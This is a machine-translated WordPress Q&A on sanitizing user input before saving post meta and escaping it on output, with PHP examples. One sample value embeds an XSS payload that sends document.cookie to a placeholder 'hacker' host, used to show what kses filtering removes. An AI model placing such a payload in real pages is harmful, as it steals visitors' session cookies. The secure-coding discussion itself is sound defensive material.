如果定制后的meta稍后会被转义,我是否应该对其进行清理?

时间:2021-02-24 作者:Tysss

首先,如果这之前已经得到了正确的回答,那么很抱歉。在阅读了大量的问题和指南之后,我仍然不完全相信做事情的最佳方式。

我了解XSS和SQL注入漏洞的基本知识。我理解数据验证、清理和转义之间的区别。

当谈到Wordpress以及清理和转义时,我经常看到有人建议使用Wordpress的默认功能将用户输入存储到数据库中,并尽可能晚地转义。

然而,在许多情况下,人们建议在将输入保存到db之前对其进行清理:

https://stackoverflow.com/questions/59692734/sanitize-wordpress-metabox-fields-post-array-the-right-way

https://developer.wordpress.org/themes/theme-security/data-sanitization-escaping/

这有点令人困惑,因为wordpress清理功能还对一些html字符进行编码。根据我的经验,这很容易导致双重编码(特别是如果你不能使用像esc\\U html和esc\\U attr这样不双重编码的wordpress函数)。当然,在数据库中存在潜在的恶意代码也不好。

在开发Wordpress插件时,如果我知道以后要转义数据,我是否应该在使用update\\u post\\u元函数之前清理用户输入数据(例如带有sanitize\\u textarea\\u字段的textarea)?或者我应该按原样存储用户输入并尽可能晚地退出?最佳做法是什么?

1 个回复
最合适的回答,由SO网友:Sally CJ 整理而成

Short Answer: 如果您已经正确验证了数据,那么可以选择进行清理。

Longer Answer

用户提供的数据和来自未知/外部来源的数据应始终被视为不受信任的数据,即使用户实际上是您自己,因此是的,我们应始终验证and/or 清理此类数据。因此,没有验证,请不要按原样存储用户输入or 正在清理数据。

摘录自"Securing (sanitizing) Input" in the plugin developer handbook:

当你不知道该期待什么或不想严格要求时,你会使用消毒data validation.

Any time you’re accepting potentially unsafe data, it is important to validate or sanitize it.

记住:即使管理员也是用户,用户也会故意或意外地输入错误的数据。保护他们不受伤害是你的职责。

下面是一些可能有帮助的示例:

// let\'s assume $_POST[\'my_number_field\'] is set
// same goes to $_POST[\'my_text_field\']

// bad - no validation and no sanitization
update_post_meta( 123, \'int_meta\', $_POST[\'my_number_field\'] );

// no validation, but the value is sanitized
$value = filter_input( INPUT_POST, \'my_number_field\', FILTER_SANITIZE_NUMBER_INT );
update_post_meta( 123, \'int_meta\', $value );

// example with validation
if ( is_numeric( $_POST[\'my_number_field\'] ) ) {
    update_post_meta( 123, \'int_meta\', (int) $_POST[\'my_number_field\'] );
} else {
    // show an error, delete the meta or whatever is necessary
}

// example with validation - here we specify a range of values
if ( in_array( $_POST[\'my_text_field\'], array( \'one\', \'two\', \'3\' ) ) ) {
    update_post_meta( 123, \'text_meta\', $_POST[\'my_text_field\'] );
} else {
    // show an error, delete the meta or whatever is necessary
}
这有点令人困惑,因为wordpress清理功能也会对一些html字符进行编码。根据我的经验,这很容易导致双重编码(特别是如果你不能使用wordpress功能,如esc\\U html和esc\\U attr,它们不会双重编码)。

也许我没有完全理解这一点,但似乎您可能只是没有使用正确的函数?

例如,如果您试图清理允许HTML标记的数据,那么您可能希望使用WordPress KSES函数,如wp_filter_kses() (允许基本HTML标记)和wp_filter_post_kses() (允许在帖子内容中使用所有HTML标记,如p):

$value = \'<p>some dynamic input data with <b>html</b>, <q>a quote</q> & potentially \' . // wrapped
    \'unsafe code..</p> "><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>\';

// This allows only basic HTML tags like strong and blockquote.
update_post_meta( 123, \'foo_meta\', wp_filter_kses( $value ) );

// This allows advanced HTML tags (p, div, etc.) and attributes.
update_post_meta( 123, \'foo_meta\', wp_filter_post_kses( $value ) );
然后,在呈现数据时,可以使用以下转义函数esc_textarea(), esc_attr()wp_kses_post():

<!-- In a form field, use esc_attr() or esc_textarea() for textarea fields -->
<input value="<?php echo esc_attr( get_post_meta( 123, \'foo_meta\', true ) ); ?>">
<textarea rows="3"><?php echo esc_textarea( get_post_meta( 123, \'foo_meta\', true ) ); ?></textarea>

<h2>Foo meta</h2>
<!-- Use wp_kses_post() when **not** displaying in form fields -->
<?php echo wp_kses_post( get_post_meta( 123, \'foo_meta\', true ) ); ?>
或者你误解了消毒和逃跑的区别?

因为基本上,清理意味着清理/过滤输入,而转义意味着我们保护输出,例如HTML标记不会被解析,除非我们在输入中允许HTML标记。(但即使允许HTML,也应限制允许的标记)

实际上,我在上面给出了一个示例,其中我清理了元值(来自一个名为$value 这是输入,然后我在页面上显示时转义了元值。因此,在后一种情况下,当我回显该值时,元值(从数据库中检索)成为输出。

进一步阅读

"Securing (escaping) Output" in the plugin developer handbook

  • "Validating, Sanitizing and Escaping User Data" on WordPress Codex

  • 相关推荐

    列出分类法:如果分类法没有POST,就不要列出分类法--取决于定制的POST-META?

    这可能很难解释,我不知道是否有解决办法!?我有一个名为“wr\\u event”的自定义帖子类型和一个名为“event\\u type”的分层自定义分类法。自定义帖子类型有一个元框,用于event_date 并且与此帖子类型关联的所有帖子都按以下方式排序event_date. 我在循环中有一个特殊的条件来查询event_date 已经发生了-在这种情况下,它没有显示,但只列在我的档案中。就像你可以使用wp_list_categories() 我编写了一个自定义函数,它以完全相同的方式列出所有分类术语。现在